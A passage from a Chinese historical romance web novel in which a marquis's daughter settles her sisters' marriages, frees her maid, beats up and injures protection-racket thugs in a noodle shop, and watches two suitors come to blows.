二姐姐也同意了同表哥的亲事。 虽说老父亲心里也是一百个不乐意的,但还是在姚君远的毒誓和妻子的劝解中同意了。 荷花宴翌日一早姚君远便同父亲一起又去了定安侯府,并且扑通一声跪在了二房主院的青石地板上,那动静给林诗芸听的龇牙咧嘴的,心说这人确实是豁得出去的。 林诗芸原以为渣爹得为难表哥一下呢,叫她没想到的是,渣爹只静默了半晌,竟然同意了! 渣爹同意了!!! 林诗芸抿着嘴在屏风后偷听,待听到爹爹说如此,便选个黄道吉日交换婚书的时候,气到人都麻了。 不是!怎么就这么轻易叫他娶姐姐呢? 她不同意! 林诗芸不同意! 在一旁凑热闹的林诗意眼看要抓狂的四妹妹赶紧捂住了她的嘴,扯着林诗芸赶紧从偏门给拽出去了。 林诗意伸手戳了戳林诗芸的脑门道:“你啊你,作何非得同你表哥过不去,这事很明显是二姐姐同意的,你闹什么闹!你想叫二姐姐不高兴,还是想叫二叔二婶不高兴!” 林诗芸低着头生闷气,“那也不能叫他这么轻易的就娶了二姐姐!” 林诗意看着这个油盐不进的,叹了口气道:“怎么就轻易了?人家不是保证不纳妾了?再说了,昨日你舅母就上门了,其中利弊二叔二婶也都是分析过的,他们又不傻,自是知道将二姐姐嫁给什么样的人家最好,用你在这钻牛角尖?” “好了好了,知道你是因为大姐姐婚期定了,二姐姐也快嫁人了你心里难受,走吧,姐姐叫人做了酥酪,不是早就念叨想吃了。” 林诗意牵着四妹妹的手,将她带回自己院子吃东西去了。 其实林诗芸就是心里有些落差罢了。 就像是自己最珍贵的东西突然有一天被人抢了,你还不能抢回来,只能眼睁睁的看着别人拥有它是一样的。 大姐姐是这样,二姐姐就叫她心里更难受了。 于是,只有林诗芸一人不高兴的世界达成。 从林诗意院里用过午膳她才回了自己院子,本想睡个午觉,但是她又一个鲤鱼打挺爬了起来。 林诗芸不高兴了,林诗芸要搞事情。 于是,她颠颠的去找姚氏要春雨的卖身契。 毕竟人在不高兴的时候,是很有勇气的。 只是叫她意外的是,她一路上念念叨叨的措辞是一点也没用上,她刚一开口姚氏便点头叫王妈妈去找春雨的身契了。 连带她说明日想同三姐姐出去逛街姚氏都点头同意了。 事情进展的太顺利,林诗芸有些茫然。 姚氏看着小女儿这个傻样,叹了口气,笑容颇有些无奈的叫她坐到自己身旁。 林诗芸乖乖坐了下来,姚氏打量着颜色愈发好看的林诗芸,笑着道:“待到秋日,芸儿也便及笄了,到时候母亲也便着手给芸儿相看了。” 林诗芸啊了一声,不用这么快吧,她还不想嫁人的。 姚氏却转而说起了别的,“母亲知你不喜欢君远,觉得他配不上你姐姐,可是这孩子平日里看着虽然混,对你姐姐的事情,是自小便上心的。” 姚氏笑着陷入了回忆,“你姐姐刚上女学那一年,有一次不知用了什么法子偷跑出书院,差点被拐子给卖了,是你表哥拼了命的将你姐姐给救了出来,当时你姐姐已经被迷晕了,你表哥被那些人差点打断了腿,但他还是强忍着疼痛,将你姐姐给背出来了。他是混了些,但是在你姐姐的事情上,他一向是挑不出毛病的。” 林诗芸睁大了眼睛,难怪那年姐姐突然生了大病,养了半个月才好,她每次去看姐姐,母亲都说姐姐身子不舒服,她不知姐姐生了什么病,只知道那时是夏日,姐姐不像是受了风寒。 “其实你姐姐每次出门都能偶遇君远,这事母亲是知道的,但是母亲那时候以为你姐姐心里还惦记着沈三,如今知道沈三不是良人,母亲自然是想撮合你表哥和你姐姐的,毕竟将你姐姐嫁回娘家,你外祖母和你舅舅,必不会叫你姐姐受了委屈。” 父母之爱子,则为之计深远。 林诗芸撅了撅嘴,闷闷的哦了一声。 姚氏也知道这孩子只是现下有些接受不了,转而笑着打趣道:“母亲最担心芸儿的亲事了,咱们芸儿长得这么好看,也不知会便宜了谁家小子,母亲可得把好关。” 林诗芸也不害臊,笑了两声站起 来道:“那必然得是长得好看的,还得是宠芸儿疼芸儿的,嘿嘿,母亲您先歇着,女儿退下啦~” 说完便怕姚氏再说什么给自己说亲的话风风火火的跑了。 姚氏看着林诗芸的背影直摇头,“这孩子,什么时候能长大啊。” 王妈妈笑道:“四姑娘便是这天真烂漫的性子,一点也藏不住事。” “是啊,还真当她给春雨编的那个漏洞百出的身世能瞒天过海呢,罢了,随她折腾去吧,不过,” “春雨一走芸儿身边便少了个大丫鬟,你再挑上一个补上春雨的位置,人得好好选选,毕竟之后是要做芸儿陪嫁的。” 王妈妈笑着应下,便伺候姚氏午睡了。 林诗芸将身契塞给了春雨,叫她赶紧回去收拾东西去,明早就解放了,看春雨喜不自胜的收下,林诗芸则是又回了林诗意的院子。 见林诗意午睡呢,自己鞋子一甩便上了三姐姐的床。 林诗意迷迷糊糊的被林诗芸给吵醒了,林诗芸笑嘻嘻道:“母亲同意明日咱们出去逛街了。” 林诗意瞬间便清醒了。 林诗意拍了拍妹妹抱着自己的手嘟囔了句热,半晌才道:“只咱们两人吗?大姐姐明日要同母亲出去,” 林诗芸嗯了一声,“二姐姐也要跟母亲出去,说是去趟护国寺。” 于是姐妹俩也不睡了,脑袋凑到一处商议起明日出门的行程。 第二天用完早膳又磨蹭了一阵二人便出发了。 远远地,孟云上便看到了侯府大门处出门的林诗芸。 林诗芸今日穿了一身碧色长裙,头上的钗环不多,金银交汇着,低调的很。 待林诗芸上了马车,孟云上才眨了眨眼。 他今日休沐,想来定安侯府附近碰碰运气,没想到倒真的碰到她了。 收敛起神色,他几步跟在马车后。 车厢内的林诗芸看着春雨手上的一个包问道:“怎么就一个包裹?” 春雨的脸有些红,听雨却捂着嘴道:“昨日下午春雨姐便托了大公子身边的阿大帮着带出去了,说是她买的院子就在阿大家隔壁。” 林诗意身旁的丫鬟春燕也取笑道:“难怪昨日我见阿大一直等在角门呢,原来是等春雨姐姐的。” 春雨被众人笑的脸颊通红,嘴上说着哪有,心里却是甜甜的。 她的院子也是阿大帮着买的,离绣坊又近,治安还好。 林诗芸笑着道:“好了好了,可不能再打趣春雨姐姐了,不然等到喝喜酒的时候不通知你们啊。” 众人笑闹了一路,林诗意带着丫鬟在书局门口便下了。 林诗芸将护卫留下,自己则是同听雨一起去了春雨新买的院子。 距离很近,只隔了两条巷子。 小院不大,但很干净,像是已经打扫过了。 隔壁阿大的母亲听到动静便过来了,一见春雨,更是欢喜的不得了。 林诗芸留下听雨帮忙收拾,嘱咐听雨一会直接去书局找她,自己便大摇大摆的走了。 车夫将马车停在巷口,林诗芸朝他摆摆手,说自己先去吃碗面,叫车夫直接去书局。 言罢林诗芸便迫不及待往面馆走,她可是好久没来了。 孟云上望着这普通到不能再普通的面馆,大步迈了进去。 彼时林诗芸已经点上面了,她没想到店家还记得她,店家笑着道:“姑娘可是很久都没来过了。” 林诗芸有些惊讶,“难为您老还记得,家中看的严,不可随意出门,今日正好有事路过此处,便来您这吃上一碗面。” 店家一看林诗芸这长相气质便知非普通人家的姑娘,便道:“姑娘天人之姿,老头自然是记得,姑娘可还是来碗牛肉面?咱家可是好久没买到牛肉了,姑娘有口福啊。” 林诗芸高兴的直点头,“好,那麻烦您先上一碗牛肉面,等会我还要同姐姐一起用午膳,便不多吃了。” 店家笑着应下来,又看到已经到了眼前身材高大的孟云上也忙招呼道,“客官您可也要来上一碗牛肉面?” 孟云上点头,“好。” 林诗芸这一转头便看到了他,微微惊讶,笑着招呼他道,“好巧啊孟大哥,你也来吃面吗?” 孟云上脸上的惊讶一闪而过,顺势坐到了林诗芸对面,大马金刀的,道:“嗯,刚好卖完猎物肚子有些饿。” 那模样倒真像是偶遇。 林诗芸点点头,笑颜如花道,“这家店我来过几次,味道确实不错,今日还有牛肉,咱们运气可真好。” 孟云上黝黑的脸上因为林诗芸的咱们两个字泛起了微微红光,只是脸太黑了,不好瞧见罢了。 面条上的很快,店家还送了两个小咸菜,林诗芸道谢后便开始调味了,她的模样十分认真,醋和辣子都放了些,又尝了尝味道这才满意点头。 孟云上有模有样,半晌二人这才吃了起来。 味道确实不错,牛肉软烂,汤底咸香,醋和辣子放的适量,未喧宾夺主,而是完美的激发了食材本身的香味。 孟云上吃的也直点头,林诗芸笑着道:“怎么样孟大哥,好吃吗,我是可以吃上三碗的,但是今天不行了,我还得留着肚子和我三姐姐用膳。” 说完林诗芸又喝了口汤,舒服的眼睛都眯起来了。 孟云上听到她说能吃三碗的时候摇了摇头,明显是不信的,店家却笑着凑了过来道:“小兄弟别不信,这位姑娘第一次来的时候确实是吃了三碗的,给老头都看呆了。” 林诗芸不好意思的笑了起来,刚要说话便听到一阵喧哗,一伙人骂骂咧咧的走了进来。 为首的人进门便一脚踢飞了桌椅,骂骂咧咧道:“老东西!赶紧将保护费交上!他妈的都推迟了两天了!再推老子将你店给砸了!” 店家瞬间变了脸色,忙起身点头哈腰讨好道:“几位爷您行行好,我婆子生了病,药钱不断,实在拿不出多余的钱来,能不能再推迟几日,我,我,” 店家我字还未说完便被那人踢倒在地,骂道:“我呸!你婆子就是死了又关我何事!拿不出钱来你就关门大吉!什么破店!都不要再吃了,滚滚滚!爷马上给他砸干净!” 因着不到用膳的时辰,店里只有林诗芸和孟云上两位客人。 林诗芸放下筷子,起身将店家给扶了起来。 她望着一群人,眼睛眯了眯带了些寒意,冷声质问道:“你们是群什么东西!收保护费?你们有什么资格收保护费?官府的文书呢?且拿出来看看!” 孟云上站在林诗芸身旁,黑沉着脸看着一群人。 为首那人却在看到林诗芸长相的那一刻被惊艳住了,“哎吆,这小娘子长得可真不赖啊!仙女下凡了啊!” 说完便**起来,摸着下巴同身旁人说道,“吆,怎么办,小娘子想看文书,哥哥带你回家去看看?哎吆这小模样,想知道哥哥是什么东西,来,哥哥给你看看哥哥的东西。” 说完一伙人笑的前仰后合的,林诗芸虽然听不懂,却也知道不是什么好话。 啧,本来这两日心情便不好,这又来了一群上赶着找揍的。 店家急忙叫林诗芸赶紧走,他们不能惹,不能惹,姑娘还是赶紧走吧,姑娘会吃亏的!赶紧走吧! 店家急的眼泪都要掉了,林诗芸安抚道,“无事的,您别急,我堂堂侯府千金,不怕这么几个流氓的,您先退后站着,别再伤到您。” 店家听到林诗芸的身份,有些难以置信的点点头,又听话退后了几步。 为首的那人还在调笑着,并且还往林诗芸身前走了过来,这人还伸出了手,想去摸林诗芸的脸,“美人别怕,跟着哥哥吃香的喝辣的多好,吃这劳什子面条!哥哥府上大鱼大肉的,啊!” 这话还未说完, 便被林诗芸给捉住了手腕,她吃的多,力气自然也大,只轻轻一用力,这流氓便疼的叫嚷了起来。 “臭娘们你赶紧放开!都愣着干什么!给我上啊!给我将她捉了卖到窑子里!啊!” 噗的一声,流氓被林诗芸一个过肩摔给扔地上了。 林诗芸连眼睛也未眨一下,春雨是她的师傅,春雨有蛮力,她亦然。 不然她一顿三碗饭不是白吃了? 孟云上更是直接一脚踢飞了打过来的流氓,他虽惊讶于林诗芸的身手,却是很愿意看到林诗芸英姿飒爽不吃亏的模样,对付这群流氓,就得狠狠的打! 眼看人越来越多,林诗芸也不惧,妈的好久没打架了,还得打个痛快才好,她心里可还憋着火呢! 于是,只几息的功夫一伙人就被二人给打趴下了,领头的那人想跑,被林诗芸给踢倒在地上,那人还在疯狂叫嚣,“你个臭娘们!你知道我是谁吗!你,你知道我姐夫是谁吗!你且等着!来人!来人!去喊我姐夫!喊我姐夫!” 林诗芸撇撇嘴,甚是无语,“人家都是拼多多,再不济拼爹爹,你倒好,拼姐夫,你哪里来的脸啊,啧啧,你也别光吼啊,你倒是说说你姐夫是哪个,看看能不能吓死我。” 说完林诗芸还特别坏心眼的踢过去一个长凳子,一脚踩了上去,将那人锁在凳子下面。 那人还在疯狂挣扎,“我姐夫,我姐夫是,” 这人还未说完,便见一紫袍男子被一群人簇拥着走了进来,大爷似的往那一坐,漫不经心道:“他姐夫是我,你待如,” 只是来人话尚未说完,便呆愣当场,“是,是你?” 林诗芸抬眸一看,冷哼一声直接笑了出来,眼睛都未眨一下,直接抬起脚来踩向了流氓的腿,只听咔嚓一声,腿断了,男人疼的大叫,林诗芸皱眉,怎么那么能叫唤,不就断个腿吗,又死不了人,嚷嚷什么嚷嚷,吵死了! 孟云上会意,从身后拿了抹布塞住了男人的了嘴。 世界清静了,林诗芸冲孟云上挑眉,不错,懂她。 而后林诗芸便转头看向来人,勾着唇角笑的肆意,只是在来人眼里这笑只剩了嘲讽。 林诗芸挑挑眉,捂着嘴巴开始装模作样,“啊,原来您便是这个泼皮无赖的姐夫啊。” “怎么办呢,他刚刚说要卖我去窑子,哎呀,可吓死人家了,所以一不小心,人家就把他腿踩断了,谢二公子,您应该不会生气吧。” 第52章 谢二结结巴巴,“不,不生气,姑娘说笑了。” 草,神仙姐姐这个反差感太他妈的带劲了! 谢二被林诗芸惊的目瞪口呆,任谁也想不出来天仙似的姑娘竟然这么暴力,只是半晌反应过来的谢二傻眼了,谢二要疯了! 装逼装到神仙姐姐面前了! 刚刚他说什么来着!妈的!他这张贱嘴! 怎么办?他是转身就走还是怎么着? 他妈的那个狗东西竟然坑他! 身后的小厮忙上前提醒,二爷,您快装不认识他们。 对对,装不认识这些人! 他完全忽视了林诗芸的阴阳怪气,起身整理了下衣袍道:“姑娘误会了,谢某不认识这人,” 转身又对身边的小厮递了个眼神,大公无私道,“将这些人送进官府,平白污了姑娘的眼!” 小厮立马要去抓人。 林诗芸却是不打算放过的。 她抿着嘴摇了摇头,语气嘲讽,“公子怎么这么健忘,刚刚这位可是叫您姐夫呢,你都承认了呢。” 孟云上只站在一旁看她做戏,笑容宠溺。 谢子阳敢做不敢当,立马不承认了,焦急道:“不是,我不认识他!姑娘误会了!真的误会了!谢某尚未娶妻,没有小舅子,真的。” 她直直的看向谢子阳,忽然就有些烦了。 也不知这到底是个什么玩意,自己打自己的脸。 她不想装了,于是瞬间冷了脸,只勾着唇角眼神冰冷的看着谢二。 这么一瞧,她倒是发现了一个事情。 这人长相和谢静茹是有几分相像的。 是了,毕竟一个爹的。 龙生九子各不相同,这谢相一世英名,是怎么生出了这么个玩意呢。 林诗芸很烦,她挑挑眉,不想听谢二唠叨,索性卸下了所有伪装。 于是她一脚踢飞了脚下的凳子,并且用力踩住了那人的手指。 谢子阳被林诗芸的动作惊的不知所措,张着嘴巴不知如何反应。 可下一瞬,林诗芸却看向谢子阳,眼神冰冷,语气也变得咄咄逼人,“都是谢相亲生,谢静茹舍身犯险救了多少人,而你,谢二公子,竟然由着这些人为虎作伥,欺压百姓!” 谢子阳被林诗芸说的脸色变了又变,他想开口解释,却什么话都说不出。 因为都是真的。 林诗芸歪着头,看了眼被自己踩着手指但是已经叫不出来的小流氓,漫不经心道,“我以为谢二公子同传言是不同的,毕竟我曾亲眼见过你惩治家暴男,可如今,这些地痞流氓欺凌无辜,征收保护费,都是经过了你的同意吗?” “他口口声声叫你姐夫,你说你们没关系,呵,” 林诗芸也不再去管谢子阳什么表情,是后悔是生气,她自顾自的蹲下了身子,盯着地上大气不敢喘的流氓撇撇嘴道:“姑奶奶高高兴兴出来吃碗面,竟然碰上你这么个杂碎,可惜了我那碗面了,今日碰到我算你倒霉,你的这位姐夫啊,可是救不了你了。” 言罢她又啧啧两声,“你是哪只手想碰我来着?” 流氓想爬着走,却被孟云上一脚给踩在地上,怎么都动弹不得。 林诗芸眯着眼睛走过去,将他嘴中的抹布拿下来,流氓大声求饶:“姑奶奶,求您放了我吧姑奶奶,我再也不敢了,我再也不敢了,” 林诗芸切了一声,丝毫不为所动。 她淡淡的笑着,伸手拔下了头上的发簪。 金簪旁边,有一只小巧锋利的银簪。 流氓吓的大声求救,“姐夫,救我啊姐夫,我姐姐还怀着您的孩子的,救我啊姐夫啊!!!” 林诗芸却是不管他嚷嚷的,手上就那么一用力,银簪便狠狠的插进了流氓的掌心。 流氓脸色惨白,痛的啊啊大叫,林诗芸一脸淡漠地将银簪给拔了出来。 鲜血蹦到了林诗芸碧色的裙摆和肩头,像是冬日大雪中的点点寒梅,又像是春日悄然绽放的娇艳海棠。 可在孟云上眼里,那更像是盛放的罂粟,有毒,却叫人忍不住沉沦。 林诗芸轻舒口气,几日的烦闷终于吐出来了。 她撇着嘴小声嘟囔,“还好没蹦到我脸上,不然脏死了。” 她看着手上带着血的簪子,在流氓身上擦了擦。 这狗东西还在吱哇乱叫呢,啧啧,叫的真惨啊。 嗯……只是簪子脏了,不想要了怎么办。 可女子的东西不好随便乱丢的,林诗芸有些苦恼。 就见孟云上递过来一张帕子,“擦擦吧。” 林诗芸接过,擦了两下这才将银簪带回头上。 她起身看着满地的狼藉,眼睛撇到脸色惨白的谢子阳,她是有些得意的,刚才她选的角度特别好,能叫谢子阳完整的看到她所有的动作。 非常完美。 吓死你个狗东西! 啧啧,脸都白了啊,林诗芸耸了耸肩,这么不经吓,一点血而已,她又没杀人。 孟云上接过帕子塞进怀里,又面无表情的将地上疼到打滚的流氓踢到一边,林 诗芸冲他笑了笑,这才大步走到了店家身旁。 她掏了锭银子递了过去,“将您店给砸的不成样子了,这是赔偿,您先拿着,” 店家自是不能要,这位姑娘是给他出头呢。 林诗芸却强硬的塞到了店家的手上道:“您拿着,这些人一会便会扭送官府,之后官府判给您的赔偿您也都拿着,这是我打坏东西的钱。” 林诗芸的态度强硬,不容店家拒绝。 接着林诗芸便大声道:“若是有人再来找您麻烦,您便去定安侯府找我,我是定安侯府四姑娘。” 看着店家点头,林诗芸这才满意地转身向外走去。 孟云上勾了勾唇角,跟在她身后。 谢子阳看到正要同自己擦身而过的林诗芸还是忍不住开口,“林姑娘,我,我不是,” 林诗芸转过头,看着他面无表情道:“你不是什么?你想说地上那个叫的姐夫不是你?” 林诗芸忽的就笑了,恍然大悟道:“哦对,谢二公子尚未大婚,那他,不会是你妾室的什么兄弟吧?” 谢子阳沉默。 林诗芸了然,她撇着嘴啧啧两声,言语里充满了嫌弃,“谢相还真的是惯的你无法无天了,一个妾室的兄弟都能欺辱百姓,收保护费,你便等着吃官司吧。” 临走时林诗芸又转过了身子,眨巴着眼睛俏皮道:“哦对了,麻烦谢二公子一定要将人送到官府去哦,我爹爹不日会找你爹爹聊聊的,我估摸着今天就会去的,毕竟你小舅子可是要将他心爱的小女儿卖进窑子去呢。” 就这么个玩意还求娶我二姐姐!想屁吃! 不过这么一对比的话,表哥确实也还不错啊,呸呸,她跟谁比呢,跟人渣比谁都是好人! 林诗芸转身便出了面馆,望着外头的大太阳,她叹了口气,颇为遗憾道:“白瞎了那碗面了。” 她还没吃几口呢。 孟云上重新认识了林诗芸,但是他却再一次的为她心动,他看着林诗芸的模样低头轻笑,开口道:“前面不远有一家馄饨摊,姑娘不嫌弃的话,孟某请姑娘吃上一碗可好?” 林诗芸瞬间高兴,点点头,“自然好啊,就是可能一碗不够,我可以吃两碗吗?” 林诗芸眉眼弯弯的模样叫孟云上看的有些不好意思,他耳尖微红的道了声好,姑娘吃几碗都使得。 只是,孟云上指着林诗芸的衣裳,“只是姑娘要不要先换件衣裳?” 林诗芸低头一看,是需要换,这蹦的血点子一会三姐看到肯定会吓到的。 孟云上指着前方道:“那里有家成衣铺子。” 林诗芸点头,“好,那便麻烦孟大哥等我换件衣裳了。” 成衣铺子内。 林诗芸买了件跟身上差不多颜色的夏装,正在二楼的雅间换衣裳。 这次她汲取了上回的经验,果断花了二十两买了件缎子的,一边肉疼一边叹气,她又又又没钱了,绣坊上月的分红倒是有五十两,但是不经花啊,给三姐姐做的头面还是她叫春雨拿了几只金钗给融了的,但是手工费也是很大一笔。 春雨买院子她也给了一百两,哎呀,她又变成穷光蛋了。 她在里头唉声叹气,外头的孟云上红着耳朵帮她守门。 他是头一次遇到这般可爱鲜活还大胆的女子,可,无论是长相或是家世,他都是配不上她的。 孟云上自惭形秽,心中也有些憋闷。 可是他却来不及去想些别的,只见楼下以极快的速度上来一人,这人身着一身白衣,长相极为英俊,面带焦急,看到门口的孟云上只皱着眉头看了一眼,便道了声滚开! 孟云上自然不会滚,伸手挡下要推门的宋晏,二人眼神交汇如电光火石,竟直接动起手来。 或许是男人的只觉,二人都未张口说些什么,但都已明白对方情敌的身份。 二人面上不显,心里都是有些惊讶于对方的身手。 宋晏从小便习武,尤其是常年陪在太子堂哥身边,武力值不高是不行的,暗杀毒药都是经常会遇到的事情。 孟云上则是自小摸索出来的野路子,虽在军营里系统的磨炼了一段时间,但他的招式还是毫无章法,很多都是宋晏始料未及的。 几个回合下来二人打了个平手。 林诗芸换上衣裳便听到了外头的打斗声,她打开门一看,二人正好拳头对拳头,差点砸对方脸上了。 林诗芸惊讶的望着二人,“晏哥哥,孟大哥,你们在干吗?” 二人迅速收回了自己的拳头,异口同声道:“切磋。” 林诗芸狐疑的看着二人,二人表情并无一丝异样,林诗芸这才点点头,也未多问,她对着突然出现的宋晏道:“晏哥哥,你怎么在这?” 转眼宋晏便又恢复了神仙般高冷的模样,清了清嗓子道:“我本就在附近,听到路上有人吵闹便出来看看,听说你除暴安良,有些担心,便跟上来找你。” 他本来在皇宫跟太子议事,接到暗卫消息的时候扔下太子便跑了,气的太子差点朝他扔了鞋底。 林诗芸不疑有他,点点头,神经大条道:“晏哥哥你身手不错啊,孟大哥也很厉害,你们是打成平手了?” 一整个的端水大师。 二人看对方的眼神都很不屑。 宋晏:招式毫无章法!莽夫! 孟云上:小白脸!下次一定打的他哭爹喊娘! 林诗芸是真的没有发现二人的异样,她的眼神倒是来来回回在二人身上看了几次,她竟然发现宋晏同孟云上的身材竟是差不多的,宽肩窄腰,身高腿长,啧啧,孟云上太黑了些,还是宋晏哥哥好看。 于是她便要拉着宋晏去吃馄饨。 她扯着宋晏的袖子,歪着头笑眯眯道:“晏哥哥,你可要同我们一起去吃馄饨?我打架打的,肚子都饿了。” 宋晏丝毫不在意林诗芸说的打架。 他眼神宠溺,伸手揉了揉林诗芸的头发,将她带歪的那支银簪给拔了下来,从怀里里取了支玉簪给换上了,这才道:“好,只是一会便用午膳了,芸儿不能多吃的。” 言罢便将银簪收进袖子,“这支簪子脏了,哥哥处理掉。” 林诗芸乖乖点头应了声好,并未觉得宋晏的动作有什么不妥。 孟云上虽不知宋晏的身份,但看着宋晏的衣着打扮也知非富即贵,又见他同林诗芸极为熟稔,咬着牙哼了一声,便移开了视线。 第53章 最后林诗芸还是没吃上馄饨。 刚出门走了进步便迎上了长公主长女宋宝珠。 林诗芸非常喜欢两位性格直爽的郡主,只是她还未来得及打招呼,也未认清这是大郡主还是二郡主呢,耳朵便被人给揪住了。 而下了马车的宋宝珠则是一眼便也看到了离表哥不远注意力都在林诗芸身上的孟云上。 这张黑俊的脸,可是叫她心心念念了多日。 她小跑至孟云上身前道:“是你啊黑脸校尉,我可是找了你多日了,幸好在这遇到了,” 孟云上这才注意到宋宝珠,忙低头行礼,“郡主。” 宋宝珠摆摆手,撅着嘴巴生气的看着孟云上,“我差人去叫你你为何不来?只说有公事要忙,那今日你为何又能出来了?” 宋宝珠不满道:“你在躲我?” 宋晏也将注意力从林诗芸身上转移了过来,挑眉看着正追着孟云上说话的表妹,一脸的若有所思,就大表妹这个态度,里头怕是有故事啊。 宋晏咳嗽一声道:“大妹妹怎么来了?你和这位,认识?” 他还不知孟云上身份,林诗芸也误会二人认识。 其实二人是情敌见面,分外眼红。 听了宋晏叫妹妹,孟云上这才知晓了宋晏的身份,一颗心沉到了谷底,同天潢贵胄相比,他自然毫无机会。 被表哥一问,宋宝珠开始支支吾吾起来,脸也慢慢变红,她羞怯的看了孟云上一眼,才扭扭捏捏的跟宋晏道了一句不告诉你。 在这里要说一下,宋宝珠宋明珠二人自出生便随了母姓,同她生父那头是一点关系都没有。 而几米外,林诗芸正被林诗意给揪着耳朵训斥。 林诗意在书局等了半晌不见林诗芸,担心妹妹出事便找了出来,这远远的便见妹妹跟两个男子有说有笑的。 尤其是在看到宋 晏的那一瞬,林诗意终于体会道了林诗芸从前看姚君远的感受,那个白眼是不自觉的一翻,礼都没行便板着脸看着林诗芸问道:“不是说去吃碗面?吃到这都什么时辰了!” 林诗芸一看到三姐姐便立马乖乖低头认错,只是尚未开口便被林诗意发现了衣裳不对,立马揪着林诗芸的耳朵到一旁质问道:“这衣裳这么换了!你又去干什么事去了!” 林诗芸捂着耳朵感叹三姐姐眼神真好,两件衣裳明明长得差不多,她伸手去躲林诗意的手,焦急道:“在外头呢三姐姐,你这么打我,我不要面子的吗。” 林诗意这才松开手,黑着一张脸看着林诗芸。 林诗芸跟个做错事的孩子似的老实低头站好。 心里嘀嘀咕咕,三姐姐不知何时跟二姐姐学的,连训她的眼神都一样,真吓人。 林诗芸清了清嗓子,如实道:“就,刚才吃面的时候有流氓调戏我,我给人打了一架。” 林诗意一听吓坏了,“调戏你?你还打架了?” 林诗意将林诗芸上上下下前前后后的打量了两遍见人无事这才放下了心,皱着眉头道:“怎么回事?人可送官府了?” 林诗芸点头,“都送去了,姐姐不必担心。” 为了不在外头丢人,她忙去扯林诗意的胳膊,小声道:“三姐姐,这事得回去讲,我将那人的手给废了,还骂了谢二呢。” 林诗意自动忽略将人手给废了,耳朵里只留下那句骂了谢二。 谢二?谢子阳? 怎么还跟谢子阳扯上关系了呢? 外头确实不是说话的地方,林诗意眉心紧紧皱在一处,“好,那回去再说,” 她又想到跟着妹妹的两个男子,板着脸道:“不准跟外男混在一处,不是想去悦味轩用膳?姐姐带你去。” 林诗芸乖乖应了声好,林诗意转身这才看到宋宝珠也在,互相打了招呼后便提出要带妹妹回去的事情。 林诗芸颇为遗憾的冲孟云上道:“孟大哥,我不能同你一起去吃馄饨了,下次咱们再去吃啊,今日我得同我姐姐一起用膳。” 林诗意脑门直抽抽,下次?! 宋宝珠听到这句却是来了兴趣,直接抓住了孟云上的袖子道:“吃馄饨?我愿意去啊,小孟哥哥你带我去好不好?” 林诗芸一听来劲了,小孟哥哥? 孟云上被宋宝珠突如其来的动作吓了一大跳,连忙退后两步,他有些不知所措,手臂被人亲热的抓着,他浑身开始不自在起来,最后在宋宝珠殷切的目光下只能无奈道了声,“好,但是郡主可否不要抓着在下了。” 林诗芸惊讶到张大了嘴巴,眼睛睁的大大的看向二人,一脸八卦的模样。 宋晏眼睛一直粘在林诗芸身上,看到她如此模样,摇摇头笑而不语,只觉得芸儿怎么能如此可爱。 林诗意才不关心不认识的人呢,注意到宋晏的眼神,伸手直接去扯林诗芸,“咱们走。” 林诗芸点点头,却鬼使神差的转头问了宋晏一句要不要一起用膳。 林诗意气的加快了脚步,嘴上道:“世子应该有事吧,咱们就不打扰世子了。” 宋晏嘴巴笑的都快合不上了,见芸儿如此惦记自己,心中跟吃了蜜糖一般。 他非常配合林诗意,笑着道自己确实有事便不去了。 林诗芸被姐姐拉的一个踉跄,但还是没忘给宋晏说再见。 那边孟云上已经被宋宝珠给缠的,一张黑俊的脸涨到通红,浑身上下写满了手足无措几个字。 他心里直叹气,早知道那日就不救这位贵女了,现在倒好,直接被缠上了,躲了几日了,今日到底是没躲过。 宋晏目送林诗芸的马车离开后这才翻身上马。 调戏芸儿?呵!他倒要看看那群人有几条命! 他倒不是不关心大表妹。 宋宝珠虽然娇纵,但心里还是有数的。既然她对这小校尉感兴趣,那便叫她玩去吧,也省得他出手了。 那头林诗芸一走,回过味来的谢子阳只觉心乱如麻,好日子要到头了! 他狠狠的踢了小妾的兄弟一脚,“谁他妈的是你姐夫!叫你胡乱叫!妈的贱人!凭你也配!” 他气的大吼一声,“全部给我送至官府!” 自己则是忐忑不安的回了相府。 神仙姐姐竟然是定安侯府四姑娘?母亲还为自己求娶过她姐姐,她还为了静茹来过府上? 谢子阳狠狠的抽了自己一巴掌,妈的他糊涂啊,干的都是什么事啊!怎么就叫那个混蛋几声姐夫给糊弄了呢! 车厢内的林诗意又开始教训妹妹了,“你刚刚对谁说下次?跟外男一起去吃馄饨,你又皮痒了是不是!还邀请宋晏一起用午膳,你如今是无法无天了,欠收拾!” 林诗芸知道刚才是自己嘴快了,低着头老实停训,一个字都不敢说的,得亏今日一起出来的是三姐姐,若是大姐姐或是二姐姐,她现在怕是已经挨揍了。 林诗芸被林诗意给训了半晌这才放过。 她忙小声小气的跟林诗意倒茶,叫她歇歇再骂。 林诗意接过水,板着脸瞪了林诗芸一眼。 林诗芸讨好的笑笑,抿着嘴眼睛开始四处乱看,她看到桌子上有本书,便随手拿了起来。 林诗意静默了一瞬,叫她小心些,别弄坏了。 林诗芸点点头,看了眼书名,只四个大字,山河纪事。 她眉头一挑好奇道:“这本书可有些年头了吧,纸张都是黄的,有些地方都快要烂了,” 林诗意却是将杯子放下,将书给拿了回来,颇为珍惜的放进了抽屉里。 林诗芸一脸狐疑,“三姐姐,有故事?” 林诗意眨巴着眼睛,也不打算隐瞒,半晌抿着嘴嗯了一声才开口。 事情还得从书局说起。 书局里有供客人读书休息的场所,相当于后世的雅座,林诗意选了十几本书大致翻了翻,留下几本满意的,便又去找书去了。 丫鬟春燕留下归置书籍,准备一会结账。 林诗意最近爱看游记,像是各地的县志,个人游览群山的传记啊,她都是愿意花钱买下拜读一番的。 她在高大的书架下仔细寻找着自己没看过的书籍。 在这里要说明一下,古人是古了点,但是古人不傻,古代的书局不是一摞摞的将书放在那里,它也是像后世的图书馆一样,一个书架一个书架的,分门别类,方便取阅和查找。 很快林诗意就发现了一本书封发黄,但是保存完好的书籍。 她之所以看到它,是因为放这本书所在的书格空荡荡的,只有这一本书躺在那里。 她很快便被吸引了过去,并且伸出了手。 而与此同时,另一只手也伸了过去。 于是,古代版因为一本书而结缘的故事便开始了。 林诗意这才注意到了旁边有人,而那么青衫公子也才发现了她。 青衫公子先缩回了手,面色涨的通红,手忙脚乱的躬身致歉:“某未看到姑娘,还请姑娘见谅,姑娘,姑娘请。” 男子模样清秀,长身玉立,书卷气浓厚,林诗意打量了两眼才道:“无碍,我也没看到公子。” 说完也没客气,直接将书拿了起来。 